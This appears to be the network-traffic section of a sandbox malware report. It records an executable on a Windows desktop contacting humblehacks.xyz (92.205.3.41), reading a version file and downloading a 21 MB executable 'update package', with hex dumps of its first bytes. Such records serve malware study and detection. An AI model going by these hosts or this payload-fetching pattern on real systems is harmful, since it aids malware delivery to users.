Dec 29, 2024 08:56:23.647813082 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.650841951 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.650907040 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.653232098 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.653296947 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.656203985 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.656267881 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.658550978 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.658616066 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.660959959 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.661031008 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.664062023 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.664139032 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.666474104 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.666538000 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.668983936 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.669049025 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.830173969 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.830329895 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.832854986 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.832932949 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.835225105 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.835299015 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.837703943 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.837771893 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.840111971 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.840184927 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.843247890 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.843317032 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.845742941 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.845803976 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.848149061 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.848232031 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.851253033 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.851319075 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.853697062 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.853763103 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.856507063 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.856568098 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.858851910 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.858916044 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.861367941 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.861437082 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.864485025 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.864552021 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.866868019 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.866944075 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.869424105 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.869487047 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:23.871823072 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:23.871882915 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:24.033237934 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:24.033410072 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:24.035614014 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:24.035729885 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:24.038119078 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:24.038225889 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:24.040512085 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:24.040602922 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:24.043643951 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:24.043859959 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:24.046004057 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:24.046081066 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:24.048557043 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:24.048645973 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:24.051651001 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:24.051736116 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:24.054019928 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:24.054097891 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:24.056616068 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:24.056690931 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:24.059298038 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:24.059381008 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:24.061789036 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:24.061868906 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:24.063237906 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:24.063296080 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:24.063299894 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:24.063357115 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:24.063863039 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:39.570801020 CET	49825	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:39.570853949 CET	443	49825	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:39.570945024 CET	49825	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:39.578397989 CET	49825	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:39.578413010 CET	443	49825	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:40.960283041 CET	443	49825	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:40.960366011 CET	49825	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:40.970606089 CET	49825	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:40.970622063 CET	443	49825	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:40.970839024 CET	443	49825	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:41.021173000 CET	49825	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:41.063338995 CET	443	49825	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:41.493932962 CET	443	49825	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:41.494028091 CET	443	49825	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:41.494101048 CET	49825	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:41.497387886 CET	49825	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:42.024822950 CET	49831	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:42.024873018 CET	443	49831	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:42.024965048 CET	49831	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:42.025352001 CET	49831	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:42.025371075 CET	443	49831	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:43.452133894 CET	443	49831	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:43.453867912 CET	49831	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:43.453879118 CET	443	49831	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:44.013740063 CET	443	49831	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:44.013763905 CET	443	49831	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:44.013823032 CET	443	49831	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:44.013828039 CET	49831	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:44.013870955 CET	49831	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:44.017169952 CET	49831	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:44.021611929 CET	49837	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:44.021634102 CET	443	49837	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:44.021712065 CET	49837	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:44.022034883 CET	49837	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:44.022047997 CET	443	49837	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:45.450059891 CET	443	49837	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:45.504447937 CET	49837	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:45.508322954 CET	49837	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:45.508332968 CET	443	49837	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:46.001427889 CET	443	49837	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:46.001502037 CET	443	49837	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:46.001550913 CET	49837	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:46.002049923 CET	49837	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:53.379056931 CET	49858	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:53.379086018 CET	443	49858	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:53.379177094 CET	49858	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:53.532213926 CET	49858	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:53.532233000 CET	443	49858	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:55.031280994 CET	443	49858	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:55.031377077 CET	49858	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:55.235377073 CET	49858	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:55.235395908 CET	443	49858	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:55.236397028 CET	443	49858	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:55.236474991 CET	49858	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:55.293004990 CET	49858	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:55.339338064 CET	443	49858	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:55.743813038 CET	443	49858	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:55.743952990 CET	49858	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:55.743963003 CET	443	49858	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:55.744206905 CET	49858	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:55.744216919 CET	443	49858	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:55.744801998 CET	49858	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:55.755338907 CET	49858	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:55.755353928 CET	443	49858	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:55.775211096 CET	49864	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:55.775249004 CET	443	49864	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:55.775465965 CET	49864	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:55.775773048 CET	49864	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:55.775789976 CET	443	49864	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:57.251897097 CET	443	49864	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:57.251976013 CET	49864	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:57.252928972 CET	49864	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:57.252935886 CET	443	49864	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:57.253243923 CET	49864	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:57.253247976 CET	443	49864	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:57.794239998 CET	443	49864	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:57.794363976 CET	49864	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:57.794384956 CET	443	49864	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:57.794451952 CET	443	49864	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:57.794478893 CET	49864	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:57.794900894 CET	49864	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:57.813427925 CET	49864	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:57.813441992 CET	443	49864	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:57.833199978 CET	49870	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:57.833252907 CET	443	49870	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:57.833431005 CET	49870	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:57.834105015 CET	49870	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:57.834119081 CET	443	49870	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:59.333848953 CET	443	49870	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:59.334094048 CET	49870	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:59.334574938 CET	49870	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:59.334582090 CET	443	49870	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:59.335078001 CET	49870	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:59.335083008 CET	443	49870	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:59.918489933 CET	443	49870	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:59.918543100 CET	443	49870	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:59.918615103 CET	49870	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:59.918633938 CET	443	49870	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:59.918716908 CET	443	49870	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:59.918771029 CET	49870	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:59.919795990 CET	49870	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:59.919815063 CET	443	49870	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:59.964633942 CET	49876	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:59.964660883 CET	443	49876	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:59.964817047 CET	49876	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:59.965174913 CET	49876	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:59.965186119 CET	443	49876	92.205.3.41	192.168.2.7
Dec 29, 2024 08:57:01.417324066 CET	443	49876	92.205.3.41	192.168.2.7
Dec 29, 2024 08:57:01.419984102 CET	49876	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:57:01.422744989 CET	49876	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:57:01.422751904 CET	443	49876	92.205.3.41	192.168.2.7
Dec 29, 2024 08:57:01.423001051 CET	49876	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:57:01.423006058 CET	443	49876	92.205.3.41	192.168.2.7
Dec 29, 2024 08:57:02.002484083 CET	443	49876	92.205.3.41	192.168.2.7
Dec 29, 2024 08:57:02.002624989 CET	49876	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:57:02.002635956 CET	443	49876	92.205.3.41	192.168.2.7
Dec 29, 2024 08:57:02.002686024 CET	49876	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:57:02.002814054 CET	443	49876	92.205.3.41	192.168.2.7
Dec 29, 2024 08:57:02.002867937 CET	49876	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:57:02.002933025 CET	443	49876	92.205.3.41	192.168.2.7
Dec 29, 2024 08:57:02.002985954 CET	49876	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:57:02.004121065 CET	49876	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:57:02.004134893 CET	443	49876	92.205.3.41	192.168.2.7
Dec 29, 2024 08:57:02.266280890 CET	49882	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:57:02.266324043 CET	443	49882	92.205.3.41	192.168.2.7
Dec 29, 2024 08:57:02.266401052 CET	49882	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:57:02.266721964 CET	49882	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:57:02.266737938 CET	443	49882	92.205.3.41	192.168.2.7
Dec 29, 2024 08:57:03.695208073 CET	443	49882	92.205.3.41	192.168.2.7
Dec 29, 2024 08:57:03.696844101 CET	49882	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:57:03.696858883 CET	443	49882	92.205.3.41	192.168.2.7
Dec 29, 2024 08:57:04.246418953 CET	443	49882	92.205.3.41	192.168.2.7
Dec 29, 2024 08:57:04.246434927 CET	443	49882	92.205.3.41	192.168.2.7
Dec 29, 2024 08:57:04.246490002 CET	443	49882	92.205.3.41	192.168.2.7
Dec 29, 2024 08:57:04.246551037 CET	49882	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:57:04.246606112 CET	49882	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:57:04.253640890 CET	49882	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:57:04.255132914 CET	49888	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:57:04.255183935 CET	443	49888	92.205.3.41	192.168.2.7
Dec 29, 2024 08:57:04.255247116 CET	49888	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:57:04.255506992 CET	49888	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:57:04.255525112 CET	443	49888	92.205.3.41	192.168.2.7
Dec 29, 2024 08:57:05.706257105 CET	443	49888	92.205.3.41	192.168.2.7
Dec 29, 2024 08:57:05.707600117 CET	49888	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:57:05.707631111 CET	443	49888	92.205.3.41	192.168.2.7
Dec 29, 2024 08:57:06.281634092 CET	443	49888	92.205.3.41	192.168.2.7
Dec 29, 2024 08:57:06.281754017 CET	443	49888	92.205.3.41	192.168.2.7
Dec 29, 2024 08:57:06.282330990 CET	49888	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:57:06.282932997 CET	49888	443	192.168.2.7	92.205.3.41

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 29, 2024 08:55:42.629719973 CET	58718	53	192.168.2.7	1.1.1.1
Dec 29, 2024 08:55:43.031795025 CET	53	58718	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 29, 2024 08:55:42.629719973 CET	192.168.2.7	1.1.1.1	0x386b	Standard query (0)	humblehacks.xyz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 29, 2024 08:55:43.031795025 CET	1.1.1.1	192.168.2.7	0x386b	No error (0)	humblehacks.xyz		92.205.3.41	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

humblehacks.xyz

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49702	92.205.3.41	443	7356	C:\Users\user\Desktop\aYu936prD4.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 07:55:44 UTC	87	OUT	GET /patch/Vivian/patch.txt HTTP/1.1 Host: humblehacks.xyz Connection: Keep-Alive
2024-12-29 07:55:45 UTC	286	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 07:55:45 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Mon, 23 Dec 2024 13:16:08 GMT ETag: "7781b37-7-629efccb9555e" Accept-Ranges: bytes Content-Length: 7 Vary: Accept-Encoding Content-Type: text/plain
2024-12-29 07:55:45 UTC	7	IN	Data Raw: 31 2e 34 2e 35 2e 30 Data Ascii: 1.4.5.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49707	92.205.3.41	443	7356	C:\Users\user\Desktop\aYu936prD4.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 07:55:49 UTC	71	OUT	GET /patch/Vivian/UpdatePackage.dat HTTP/1.1 Host: humblehacks.xyz
2024-12-29 07:55:50 UTC	273	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 07:55:49 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Mon, 23 Dec 2024 13:16:49 GMT ETag: "7781b38-14add10-629efcf269536" Accept-Ranges: bytes Content-Length: 21683472 Vary: Accept-Encoding
2024-12-29 07:55:50 UTC	7919	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 05 00 25 62 69 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 08 00 00 14 9d 00 00 56 00 00 00 00 00 00 ce 32 9d 00 00 20 00 00 00 00 40 00 00 00 00 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 4b 01 00 04 00 00 66 8e 4b 01 02 00 60 85 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEd%big"V2 @ @KfK`
2024-12-29 07:55:50 UTC	8000	IN	Data Raw: d6 61 1c 88 57 e4 c1 4d 32 15 26 74 f7 55 f8 8b 4f b9 c5 74 e0 01 04 00 00 60 04 5e 71 04 56 f4 4f ce 0b d3 ef 6f e8 42 d4 6c 27 1d b3 b9 c0 13 d6 8a e7 12 be 66 d6 fe 0c 7d cc a9 a2 3b 56 00 05 1d cd 82 05 c4 00 00 00 01 04 00 00 20 f7 a1 48 d3 5e 25 ce 48 27 95 5d 3e a2 4e ed 97 b8 eb c1 5e d9 66 f7 08 35 7f 5e fa 2f 62 87 4c 0e 84 1f cd f6 ce 7b 47 18 fd 75 04 00 00 00 01 04 00 00 25 49 77 90 08 44 d5 c1 d4 06 60 f5 fb 87 38 9b c2 4c e1 f5 f1 46 99 1b cf f7 e9 44 4d d6 7b 41 82 00 00 00 01 04 00 00 f5 2b 4a 57 e1 60 fd 84 c9 9d a4 bb e3 53 b7 22 0c fa a2 07 af 5f c7 d0 e7 40 c7 30 e8 16 fd a1 9b 32 4c 0e 88 0b 1b cf f9 d7 9d db 5c 58 56 00 01 04 00 00 39 ea f9 db b8 86 19 d9 e0 e8 a7 58 28 fa ef 41 6a 82 b3 1e 93 02 7e 22 9f dc 35 69 c5 ba ef 80 ee 2d Data Ascii: aWM2&tUOt`^qVOoBl'f};V H^%H']>N^f5^/bL{Gu%IwD`8LFDM{A+JW`S"_@02L\XV9X(Aj~"5i-
2024-12-29 07:55:50 UTC	8000	IN	Data Raw: c3 1d b0 80 26 de ea 9d b3 d5 6f 11 8a ed 8c c5 8c d8 42 8b ca ad 51 eb 3c d6 95 26 b7 29 95 75 19 55 5a 92 c7 80 7d 79 59 2e 84 70 93 65 6f 45 97 0f 8d d7 5a 9f 94 d7 55 f7 f1 d0 7d 89 5d 65 74 bd b1 db 01 93 fb d7 00 01 04 00 00 be 8a d1 68 10 c0 e5 47 5c 5a da 5e 78 26 56 88 60 7f 59 98 2b 72 cd 9c 3d 1f 5e 63 bd 61 8b 3c 4a b1 fd 00 01 04 00 00 01 e9 47 18 54 42 83 d1 29 0d 8c bf 85 c7 37 74 84 a9 2a 0d a1 da 41 08 32 e4 30 56 32 65 6a b1 43 07 42 30 f3 b1 50 19 3f ff 17 f6 56 f0 e4 eb 9f df f9 46 fc b5 eb 58 51 5c 49 84 40 77 7e 95 37 50 f9 54 ad 11 8b 5b a8 38 10 24 83 45 51 65 ee b5 29 a0 36 34 e7 f5 c7 0f f4 3c ef e8 b6 50 e4 ad b3 ad 09 cb fa 3e 6d 9e bf 70 94 2c 45 8b 7b 14 01 42 d6 c1 fc 89 9c e3 79 a6 c5 20 d8 8b 53 06 ba 63 8f 45 66 6b 95 1b Data Ascii: &oBQ<&)uUZ}yY.peoEZU}]ethG\Z^x&V`Y+r=^ca<JGTB)7t*A20V2ejCB0P?VFXQ\I@w~7PT[8$EQe)64<P>mp,E{By ScEfk
2024-12-29 07:55:50 UTC	8000	IN	Data Raw: 1b b0 79 b3 b1 66 27 74 4e 2e 32 6c 5f 4f 14 3b d6 85 e5 a8 29 1e 02 7b 9e 00 00 04 2a f9 7f 38 9d 70 e1 00 c4 c3 d1 b7 44 8f c6 0f db 2d 04 45 a0 e5 09 f7 8c 5e 28 37 38 59 74 dd e8 1e 02 7b 9f 00 00 04 2a 9f df 21 c9 38 a3 69 77 de e1 5f c2 b2 88 47 b2 2d 79 90 c9 58 e9 a8 87 40 06 15 34 a4 dd c2 d9 1e 02 7b a0 00 00 04 2a f2 7b 96 90 72 52 4b fd c0 df 7e 1d 7f 8a 02 3e 4c ce 7a 4f f1 99 27 5a db f6 fe 4f cf e9 fe 03 1e 02 7b a1 00 00 04 2a d8 9a c0 78 84 b6 50 5f 4f 13 3b db 60 93 e9 88 73 4a 2d bc 17 e3 1b 0d 19 3f 1a 13 40 60 3a 6f 3a 86 c7 0b d7 97 1e a4 75 c4 bf 86 bc 6a a4 97 8b 36 d1 97 31 8d 2d a6 e1 2b 90 07 60 0a 1d 23 01 85 d2 d1 d3 bd 5d d4 19 3c 31 a5 fa d8 da 74 7a da 8d 69 a9 60 04 2f 1a 00 89 b3 97 ae 50 29 13 00 00 00 01 04 00 00 1e 02 Data Ascii: yf'tN.2l_O;){8pD-E^(78Yt{!8iw_G-yX@4{{rRK~>LzO'ZO{xP_O;`sJ-?@`:o:uj61-+`#]<1tzi`/P)
2024-12-29 07:55:50 UTC	8000	IN	Data Raw: be a5 77 9f bd 54 a5 a3 4a 1f 31 77 a3 db ed bb b1 5b ab 03 8e e6 ea e6 44 e7 b6 52 d8 e7 c9 22 87 b9 f6 f3 4f f4 c8 33 b1 a7 66 7a b6 47 b9 1e 30 ec d1 02 42 bd 85 ae 22 a9 5a a5 1e 59 a7 f2 dd 62 f6 05 e8 be ac bd 68 7d ed c6 32 b8 ba 25 00 c7 5c 11 01 b3 06 05 95 ee b6 13 51 42 5c 7b 4a 08 3e 7c 90 9a 9b 6a f8 0b 8e 01 1f 15 36 f9 ab 52 14 da d4 af b4 12 24 1f 90 45 7a 8c 31 e4 55 13 97 01 4f 70 db 62 e8 b7 13 d4 85 46 76 c1 b9 f7 c1 05 c2 9a d9 fe 57 a2 b1 e2 a1 1e 6e 56 87 eb c9 3c 2e 28 b5 cc c0 eb 42 e6 6d 32 c2 a6 b0 1d 2a 3a d4 5a bb f0 b6 e0 e1 93 cc e0 5b f8 66 f8 9c d4 34 ab 71 d0 09 0e e5 e0 de c3 62 d0 1a 2b 18 20 11 d8 a2 11 ca 41 00 00 00 01 04 00 00 e7 00 05 ba 3f f3 7c a3 d8 72 6a df 57 98 4a 88 c2 69 e1 e0 9d 66 7e 8b 53 5f 81 fc d8 89 Data Ascii: wTJ1w[DR"O3fzG0B"ZYbh}2%\QB\{J>\|j6R$Ez1UOpbFvWnV<.(Bm2*:Z[f4qb+ A?\|rjWJif~S_
